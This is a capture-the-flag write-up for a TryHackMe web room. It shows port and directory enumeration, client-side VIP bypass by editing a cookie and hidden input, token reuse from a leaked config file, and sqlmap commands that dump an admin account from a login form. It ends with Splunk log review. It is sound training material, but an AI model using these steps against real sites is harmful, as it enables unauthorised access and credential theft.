Category: CTF
Posted at: Sep 17, 2024
12 Minutes Read
In this write-up, we explore the TryHack3M: Subscribe room on TryHackMe, step by step uncovering techniques to identify flags along the way.
link: https://tryhackme.com/r/room/subscribe
Room Objectives
To assist the HackM3.thm company in fixing the application, you need to:
Let’s start !
Let's begin with an Nmap scan using the -sV option, which scans ports and identifies their version numbers.
$ nmap -sV 10.10.160.80
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
80/tcp open http Apache httpd 2.4.41 ((Ubuntu))
8000/tcp open http Splunkd httpd
8089/tcp open ssl/http Splunkd httpd (free license; remote login disabled)
Before we begin, let's add the IP address to the hosts file and assign it the domain hackme.thm.
Let's perform some directory enumeration using Feroxbuster. -n non recursive scan, -k disables TLS certificate validation.
$feroxbuster -u http://hackme.thm/ -w ~/snap/feroxbuster/common/common.txt -nk
200 GET 312l 603w 5472c <http://hackme.thm/css/index.css>
200 GET 119l 179w 1776c <http://hackme.thm/css/slick.css>
200 GET 45l 150w 14230c <http://hackme.thm/img/logo.png>
200 GET 71l 173w 2875c <http://hackme.thm/login.php>
200 GET 1l 528w 93234c <http://hackme.thm/js/bootstrap431.min.js>
200 GET 5l 98w 170570c <http://hackme.thm/css/all.css>
200 GET 9167l 19586w 191263c <http://hackme.thm/css/boostrap431.min.css>
200 GET 47l 82w 689c <http://hackme.thm/css/slick-data.css>
200 GET 69l 172w 2761c <http://hackme.thm/sign_up.php>
200 GET 1073l 4285w 34016c <http://hackme.thm/js/popper.min.js>
200 GET 3308l 5954w 51595c <http://hackme.thm/css/general-style.css>
200 GET 3243l 19071w 128378c <http://hackme.thm/js/jquery.min.js>
200 GET 89l 361w 4499c <http://hackme.thm/>
301 GET 9l 28w 306c <http://hackme.thm/css> => <http://hackme.thm/css/>
200 GET 3l 35w 17226c <http://hackme.thm/favicon.ico>
200 GET 89l 361w 4499c <http://hackme.thm/index.php>
301 GET 9l 28w 306c <http://hackme.thm/img> => <http://hackme.thm/img/>
301 GET 9l 28w 313c <http://hackme.thm/javascript> => <http://hackme.thm/javascript/>
301 GET 9l 28w 305c <http://hackme.thm/js> => <http://hackme.thm/js/>
301 GET 9l 28w 313c <http://hackme.thm/phpmyadmin> => <http://hackme.thm/phpmyadmin/>
Nothing interesting except /login, /phpmyadmin and /sign_up
I initially checked the /phpmyadmin directory but didn’t find anything useful. Then, I navigated to the signup page, it was noted that the hacker had disabled signups, making them accessible only through an invitation code, so let's find the invitation key!
While exploring the website with Burp Suite proxy enabled, I noticed a script invite.js being called when I visit the signup page.
function e() {
var e = window.location.hostname;
if (e === "capture3millionsubscribers.thm") {
var o = new XMLHttpRequest();
o.open("POST", "inviteCode1337HM.php", true);
o.onload = function () {
if (this.status == 200) {
console.log("Invite Code:", this.responseText);
} else {
console.error("Error fetching invite code.");
}
};
o.send();
} else if (e === "hackme.thm") {
console.log("This function does not operate on hackme.thm");
} else {
console.log("Lol!! Are you smart enought to get the invite code?");
}
}
According to the script, the hostname should be capture3millionsubscribers.thm in order to receive the code. Let's add it to the /etc/hosts file and try again.
Visit http://capture3millionsubscribers.thm/sign_up.php and you will see the code printed on the console:
Invite Code: *****:Invited30MnUsers
Just submit the code and you will get an error containing the user and password
After logging in, We can see there are two rooms, one is free and the other one for VIP members, the free one did not contain anything useful. Then, I noticed a cookie named isVIP has the value false , I changed it to true and I had access to the VIP room. While reviewing the Burp Suite proxy http history, I came across the following script.
// sc-drFUgV fXEjrf
$(document).ready(function () {
$("#start_machine").click(function (e) {
var isVIPE = document.getElementById("isVIP");
var isVIP = isVIPE.value.toLowerCase() === "true";
if (isVIP) {
$("#splitScreenRight").attr("class", "sc-drFUgV bROZdw");
$("#main1").attr("class", "sc-bKNmIE bYiuLB");
$("#main2").attr("class", "sc-hZDbVM bksodH");
$("#nav1").attr("class", "sc-krITIZ gMgnKr");
} else {
alert("This page is only for VIP users");
}
});
});
$(document).ready(function () {
$("#exit_split").click(function (e) {
$("#splitScreenRight").attr("class", "sc-drFUgV fXEjrf");
$("#main1").attr("class", "sc-bKNmIE ipXaXG");
$("#main2").attr("class", "sc-hZDbVM hgVIhb");
$("#nav1").attr("class", "sc-krITIZ hoLoqS");
});
});
The script listens for clicks on the 'Start Machine' button and verifies whether the user is a VIP based on an input value <input type="hidden" id="isVIP" value="true">. I searched for this input in the inspection tab and changed its value from false to true. After that, I clicked the 'Start Machine' button, which opened a split view similar to the TryHackMe website, and it was a shell to the server.
Here I found a script which was related to the shell. Looking at the script we can see that we are limited to four commands:
$(document).ready(function () {
$("#shell_commands").on("keydown", function (event) {
if (event.which == 13) {
// Hackme.thm emulator capable of exeuting following commands:// - run <machine AMI>// - whoami "returns username"
// - ls "list the files"
// - cat <filename> "list contents of files accessed jointly by dev and prod team"
var cmd = $("#shell_commands").val();
$.get("run_machine_hackme.php", { command: cmd }, function (data) {
var output = data;
var output = decodeHtmlEntities(data);
$("#shell_output").text(output);
}).fail(function () {
$("#shell_output").text("Error executing command.");
});
$("#shell_commands").val("");
}
});
});
function decodeHtmlEntities(str) {
return str
.replace(/</g, "<")
.replace(/>/g, ">")
.replace(/"/g, '"')
.replace(/&/g, "&");
// Extend with other entities as needed
}
I listed the files and attempted to read some of them, but I couldn't access most. However, I was able to read the config.php file, which contained a URL to the admin panel and a secret token.
<?php
$SECURE_TOKEN= "ACC#SS_TO_ADM1N_*****";
$urlAdminPanel= "<http://admin1337special.hackme.thm:40009>";
?>
Add admin1337special.hackme.thm to the hosts file.
When visiting the URL, I was redirected to http://admin1337special.hackme.thm:40009/public/html/ with a status code of 403 (Unauthorized). I attempted to add a cookie SECURE_TOKEN=ACC#SS_TO_ADM1N_*****, but it didn’t work. I started fuzzing directories within /public/html and got this results:
404 GET 9l 31w 292c Auto-filtering found 404-like response and created new filter; toggle off with --dont-filter
403 GET 9l 28w 295c Auto-filtering found 404-like response and created new filter; toggle off with --dont-filter
301 GET 9l 28w 357c <http://admin1337special.hackme.thm:40009/public/html> => <http://admin1337special.hackme.thm:40009/public/html/>
403 GET 0l 0w 0c <http://admin1337special.hackme.thm:40009/public/html/dashboard>
200 GET 0l 0w 0c <http://admin1337special.hackme.thm:40009/public/css/styles.css>
200 GET 50l 100w 1662c <http://admin1337special.hackme.thm:40009/public/html/login.php>
200 GET 27l 72w 776c <http://admin1337special.hackme.thm:40009/public/js/login.js>
200 GET 13l 27w 321c <http://admin1337special.hackme.thm:40009/public/js/logout.js>
200 GET 9l 12w 154c <http://admin1337special.hackme.thm:40009/public/html/logout>
200 GET 2l 1044w 69917c <http://admin1337special.hackme.thm:40009/public/js/jquery-3.3.1.slim.min.js>
200 GET 7l 662w 58072c <http://admin1337special.hackme.thm:40009/public/js/bootstrap.min.js>
200 GET 7l 1966w 155758c <http://admin1337special.hackme.thm:40009/public/css/bootstrap.min.css>
200 GET 50l 100w 1662c <http://admin1337special.hackme.thm:40009/public/html/login>
I navigated to http://admin1337special.hackme.thm:40009/public/html/login.php and found the following:
I tried the previous token and it did work! it redirected us to login page but no idea about the credential.
After a long period of fuzzing, I decided to give the login script to Chatgpt to help identify potential vulnerabilities. It suggested SQL injection as a possible vulnerability, even though the script didn’t indicate any signs of it. I added a single quote (') to the username input and received an interesting error. It hadn’t occurred to me to try SQL injection, but surprisingly Chatgpt's suggestion actually worked!
I copied the request into text file and ran sqlmap
$ sqlmap -r req.txt --dbs --batch
We have successfully retrieved 6 databases:
available databases [6]: [*] hackme [*] information_schema [*] mysql [*] performance_schema [*] phpmyadmin [*] sys
Run the second command to retrieve the tables from the hackme database.
$ sqlmap -r req.txt --dbs --batch -D hackme --tables Database: hackme [2 tables] +--------+ | config | | users | +--------+
And now, let's dump the data from the users table.
$ sqlmap -r req.txt --dbs --batch -D hackme -T users --dump
Database: hackme
Table: users
[1 entry]
+----+------------------+------------+--------+----------+--------------+----------+
| id | email | name | role | status | password | username |
+----+------------------+------------+--------+----------+--------------+----------+
| 1 | admin@hackme.thm | Admin User | admin | 1 | admin******* | admin |
+----+------------------+------------+--------+----------+--------------+----------+
Let's log in and retrieve the flag. In the admin dashboard, change the action to 'Sign Up,' and then visit the website http://capture3millionsubscribers.thm/. You will see the flag there with fireworks :)
Investigating the Attack
Our security department detected an alert about a web attack on the 4th of April, 2024. They have ingested the logs into Splunk, which can be accessed using the following credentials: TryHackMe credentials.
Your task is to analyse the logs and track the attacker's footprints.
It was my first time using Splunk, so I felt a bit lost.
I click on "Search your data" and then changed the filtering to "all time"
and the typed "*" in the search bar and got this
I submitted the number in the top left corner to check if what I did was correct, and it was!
While viewing the Patterns tab, I found the following:
You will find the answer in the user agent.
Select the pattern and you will find the answer in the top right corner.
You can see it displayed in the pattern. {"source_ip": "83.45.***.**"}
Simply copy and paste the IP address into the search bar and hit enter.
Good luck!